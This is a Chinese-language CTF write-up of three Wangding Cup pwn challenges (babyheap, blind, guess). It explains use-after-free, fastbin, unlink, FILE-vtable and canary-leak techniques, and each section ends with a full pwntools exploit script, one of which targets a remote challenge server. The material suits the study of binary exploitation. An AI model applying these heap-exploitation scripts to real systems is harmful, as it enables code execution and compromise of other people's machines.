网鼎杯 pwn部分wp
菜的不行的我就做出来了一道题。。。而且虚拟机版本太低环境变量还不一样,远程跑不了。。
1.babyheap
比赛的时候没做出来,后来看了swing大佬的解题才豁然开朗
程序分析: 每次只能申请一个0x30大小的堆块,很难搞
unsigned __int64 add()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 9 && !heaplst[v1] )
{
heaplst[v1] = (char *)malloc(0x20uLL);
printf("Content:", &s);
getinput((__int64)heaplst[v1], 0x20u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}
edit函数没啥毛病,但是只能用三次。
if ( v1 <= 0x1F && heaplst[v1] && edit_count != 3 )
input函数同样没有利用点 问题出在free那里没有将指针置零
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 9 && heaplst[v1] )
{
free(heaplst[v1]); // uaf
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}
由于它这个只能用fastbin,所以正常方法只能搞一个堆地址出来,所幸没有开pie,bss段存储着堆地址数组 emmm到这我就卡住了,本来还寻思用iofile做一下,后来发现好像构造不出来大小为0x30的堆块 看了大佬的wp才知道是用unlink做。。。 首先泄露堆地址,利用uaf使fd指针指向伪造堆块,之后用一堆fastbin的堆块伪造一个大的堆块使其落入unsortedbin,而后在后边的堆块里边构造unlink条件,使其fd,bk指向heaplst,触发unlink,这样就任意地址读写了,改malloc_hook或者free_hook都可以 为什么看了大佬的wp之后就感觉题目好简单,还有就是虚拟机真的该换了,环境太老了。
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
io = process('./babyheap')
elf = ELF('babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,content):
io.recvuntil('Choice:')
io.sendline('1')
io.recvuntil('Index:')
io.sendline(str(idx))
io.recvuntil('Content:')
io.send(content)
def delete(idx):
io.recvuntil('Choice:')
io.sendline('4')
io.recvuntil('Index:')
io.sendline(str(idx))
def edit(idx,content):
io.recvuntil('Choice:')
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(idx))
io.recvuntil('Content:')
io.send(content)
def show(idx):
io.recvuntil('Choice:')
io.sendline('3')
io.recvuntil('Index:')
io.sendline(str(idx))
heaplst = 0x602080
sleep(3)
add(0,'A'*0x1+'\n')
add(1,'B'*0x1+'\n')
add(2,'C'*0x1+'\n')
add(3,'D'*0x1+'\n')
add(4,p64(0xa0)+p64(0x31)+p64(heaplst - 0x18) + p64(heaplst - 0x10))
add(5,p64(0x30)+p64(0x30)+'\n')
delete(1)
delete(0)
show(0)
leak = u64(io.recvuntil('\n')[:4].strip('\n').ljust(8,'\x00'))
log.success(hex(leak))
heap_base = leak - 0x30
edit(0,p64(heap_base + 0x20) + p64(0) + p64(0) + p64(0x31))
add(6,p64(0) + p64(0xa1)+'\n')
add(7,'A'*0x8+p64(0xa1)+'\n' )
delete(1)
show(1)
one = 0xea36d #0x46428 0x4647c 0xe9415 0xea36d
libc_base = u64(io.recv(6).ljust(8,'\x00')) -0x10 -libc.symbols['__malloc_hook'] - 0x58
log.success(hex(libc_base))
edit(4,p64(libc_base + libc.symbols['__free_hook'])+'\n')#0x602080
edit(1,p64(libc_base + one)+'\n')#0x602068->free_hook
delete(1)
'''gdb.attach(io)
raw_input()'''
io.interactive()
2.blind
这道题。。说实话也不难。。 当时我是想用houseofroman做,但是不能用unsortedbin,根本搞不到libc地址 正确做法是利用iofile。。怪我年轻不懂事。。。 程序依旧没有开pie,同样的每次申请块大小固定,这次是0x70
unsigned __int64 add()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 5 && !ptr[v1] )
{
ptr[v1] = malloc(0x68uLL);
printf("Content:", &s);
sub_400932((__int64)ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}
然后delete同样的没有将指针清零,但是有次数限制
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 5 && ptr[v1] && dword_602098 <= 2 )
{
free(ptr[v1]);
++dword_602098;
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}
思路就是fastbin+uaf改掉heaplst中的指针,直接任意地址读写。比较恶心的地方就是 当时没发现魔术头7f,后来才知道在heaplst上边的stdin里边有指向libc地址的指针。。。在那里构造堆块就可以了 我们得到了任意地址写,在bss段伪造stdout的iofile结构,而且程序里边自带一个shell函数,把vtable里的函数改成shell地址就可以了
from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
io = process('./blind')
elf = ELF('blind')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,content):
io.recvuntil('Choice:')
io.sendline('1')
io.recvuntil('Index:')
io.sendline(str(idx))
io.recvuntil('Content:')
io.sendline(content)
def delete(idx):
io.recvuntil('Choice:')
io.sendline('3')
io.recvuntil('Index:')
io.sendline(str(idx))
def edit(idx,content):
io.recvuntil('Choice:')
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(idx))
io.recvuntil('Content:')
io.sendline(content)
heaplst = 0x602060
std_out = 0x602020
shell_addr=0x4008E3
add(0,'1111')
add(1,'2222')
delete(0)
edit(0,p64(0x60203d))
add(2,'aaaa')
payload='aaa' + 'a'*0x10+p64(std_out) + p64(0x602090) + p64(0x602090 + 0x68)+p64(0x602090 + 0x68*2) + p64(0x602090 + 0x68*3)
add(3,payload)
IO_payload=p64(0x00000000fbad8000)+p64(0x602500)*7+p64(0x602501)+p64(0)*9+p64(0x602600)+p64(0)*8+p64(0x602090+0x68*3)
vtable_payload=p64(shell_addr)*13
edit(1,IO_payload[0:0x68])
edit(2,IO_payload[0x68:0xd0])
edit(3,IO_payload[0xd0:])
edit(4,vtable_payload)
edit(0,p64(0x602090))
io.interactive()
3.guess
一道水题。。但是当时我也卡了好久。。 思路就是利用 canary报错泄露地址信息,然后由于flag保存在栈上,泄露出栈地址根据偏移就可以把flag打印出来,这里栈地址在libc的enviro字段里,偏移的话。。说实话我真的需要换一个虚拟机了,起码搞两个版本的
from pwn import *
context.log_level = 'debug'
#io = process('./GUESS')
io = remote('106.75.90.160', 9999)
elf = ELF('GUESS')
libc = ELF('libc6_2.23-.so')
put = elf.got['puts']
payload = p64(put)*0x200
io.recvuntil('flag')
io.sendline(payload)
puts = io.recvuntil(': ')
puts = u64(io.recv()[:6].ljust(8,'\x00'))
print hex(puts)
lib_env = puts - libc.symbols['_IO_puts'] + libc.symbols['environ']
print hex(lib_env)
t = lib_env +0x5d8
payload = p64(t)*0x200
io.recvuntil('flag')
io.sendline(payload)
leak = io.recvuntil(': ')
leak = u64(io.recv()[:6].ljust(8,'\x00'))
payload = p64(leak- 0x158)*0x200
io.recvuntil('flag')
io.sendline(payload)
leak = io.recvuntil(': ')
io.interactive()